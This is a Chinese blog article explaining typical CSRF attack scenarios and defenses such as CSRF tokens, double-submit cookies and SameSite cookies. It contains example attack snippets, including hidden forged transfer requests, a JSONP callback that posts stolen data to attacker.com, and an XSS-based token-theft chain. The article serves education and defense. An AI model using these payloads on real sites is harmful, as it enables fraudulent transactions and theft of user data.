您现在的位置是：网站首页 > CSRF 攻击的典型场景文章详情
CSRF 攻击的典型场景
陈川
【
前端安全
】
37307人已围观
4356字
CSRF 攻击的基本原理
CSRF（Cross-Site Request Forgery）跨站请求伪造是一种利用用户已登录状态发起的恶意攻击。攻击者诱导用户访问恶意页面时，该页面会向目标网站发送请求，由于浏览器会自动携带用户的Cookie等身份凭证，目标网站会认为这是用户自愿发起的合法请求。
关键点在于：
- 用户已登录目标网站
- 目标网站仅依赖Cookie等自动携带的凭证验证身份
- 攻击者可以预测或构造请求参数
// 恶意网站中的攻击代码
<img src="https://bank.com/transfer?to=hacker&amount=10000" width="0" height="0">
典型场景一：社交工程诱导
攻击者通过社交平台发送伪装成正常链接的恶意URL：
- 伪装成抽奖活动："点击领取你的iPhone 15 Pro！"
- 伪装成好友消息："看看我们的聚会照片"
- 伪装成系统通知："您的账户存在异常，请立即验证"
<!-- 伪装成图片的转账请求 -->
<a href="https://malicious.site">
<img src="https://bank.com/transfer?to=attacker&amount=5000" alt="搞笑图片">
</a>
典型场景二：论坛图片嵌入
攻击者在允许用户发布HTML内容的论坛或评论区植入恶意代码：
<!-- 看似无害的评论内容 -->
"这个教程很有帮助！<img src='https://social-site.com/follow?user=hacker' style='display:none'>"
当其他登录用户浏览该页面时，会自动发送关注请求，而用户完全不知情。
典型场景三：恶意广告注入
攻击者购买广告位或入侵广告网络，投放包含CSRF攻击代码的广告：
// 广告中的恶意脚本
<script>
fetch('https://shopping-site.com/add-to-cart', {
method: 'POST',
body: JSON.stringify({productId: 666, quantity: 100}),
credentials: 'include'
});
</script>
典型场景四：第三方插件漏洞
利用网站集成的第三方插件漏洞发起CSRF攻击：
// 恶意构造的JSONP请求
<script src="https://api.vulnerable-site.com/userdata?callback=stealData"></script>
<script>
function stealData(data) {
fetch('https://attacker.com/collect', {
method: 'POST',
body: JSON.stringify(data)
});
}
</script>
典型场景五：跨站表单提交
攻击者构造一个与目标网站相似的页面，诱导用户提交表单：
<!-- 伪装成登录页的表单 -->
<form action="https://bank.com/change-email" method="POST">
<input type="hidden" name="email" value="hacker@example.com">
<input type="submit" value="领取优惠券">
</form>
防御措施实现示例
同步令牌模式
// 服务端生成并返回令牌
const csrfToken = generateSecureToken();
res.cookie('XSRF-TOKEN', csrfToken);
// 前端在请求中携带令牌
fetch('/api/transfer', {
method: 'POST',
headers: {
'X-XSRF-TOKEN': getCookie('XSRF-TOKEN')
}
});
双重Cookie验证
// 前端代码
const token = generateToken();
document.cookie = `CSRF-TOKEN=${token}`;
// 发送请求时自动携带
axios.interceptors.request.use(config => {
config.headers['X-CSRF-TOKEN'] = getCookie('CSRF-TOKEN');
return config;
});
现代框架的防护机制
React示例
// 配合Express的csurf中间件
import { useEffect } from 'react';
function TransferForm() {
const [csrfToken, setCsrfToken] = useState('');
useEffect(() => {
fetch('/csrf-token')
.then(res => res.json())
.then(data => setCsrfToken(data.token));
}, []);
return (
<form>
<input type="hidden" name="_csrf" value={csrfToken} />
{/* 其他表单字段 */}
</form>
);
}
Angular示例
// HttpClient拦截器
@Injectable()
export class CsrfInterceptor implements HttpInterceptor {
intercept(req: HttpRequest<any>, next: HttpHandler) {
const token = this.tokenService.getToken();
const authReq = req.clone({
headers: req.headers.set('X-CSRF-TOKEN', token)
});
return next.handle(authReq);
}
}
实际案例分析
2021年某电商平台CSRF漏洞导致的大规模优惠券滥用事件：
- 攻击流程：
- 平台优惠券领取接口仅验证登录状态
- 攻击者构造领取请求并散布到社交平台
- 用户访问恶意页面时自动领取并转赠优惠券
// 实际攻击代码片段
const couponIds = [1001, 1002, 1003];
couponIds.forEach(id => {
new Image().src = `https://mall.com/coupon/claim?id=${id}&transferTo=attacker`;
});
高级攻击变种
基于Flash的CSRF
// 恶意Flash文件中的代码
var request:URLRequest = new URLRequest("https://bank.com/transfer");
request.method = URLRequestMethod.POST;
request.data = new URLVariables("to=hacker&amount=5000");
navigateToURL(request, "_self");
跨源资源共享滥用
// 针对配置不当的CORS策略
fetch('https://api.vulnerable-site.com/sensitive-data', {
method: 'GET',
credentials: 'include'
})
.then(response => response.json())
.then(data => sendToAttacker(data));
浏览器安全策略的影响
SameSite Cookie属性的三种模式：
- Strict：完全禁止跨站携带
- Lax：允许顶级导航的GET请求
- None：完全允许（需配合Secure）
Set-Cookie: sessionId=abc123; SameSite=Lax; Secure
相关漏洞组合利用
CSRF与XSS组合攻击示例：
// 先通过XSS获取CSRF令牌
const script = document.createElement('script');
script.src = 'https://bank.com/account?callback=stealToken';
document.body.appendChild(script);
function stealToken(data) {
// 使用获取的令牌发起CSRF攻击
fetch('https://bank.com/transfer', {
method: 'POST',
headers: {
'X-CSRF-Token': data.token
},
body: JSON.stringify({to: 'hacker', amount: 10000})
});
}
上一篇： CSRF 攻击的基本原理
下一篇： CSRF 与 XSS 的区别
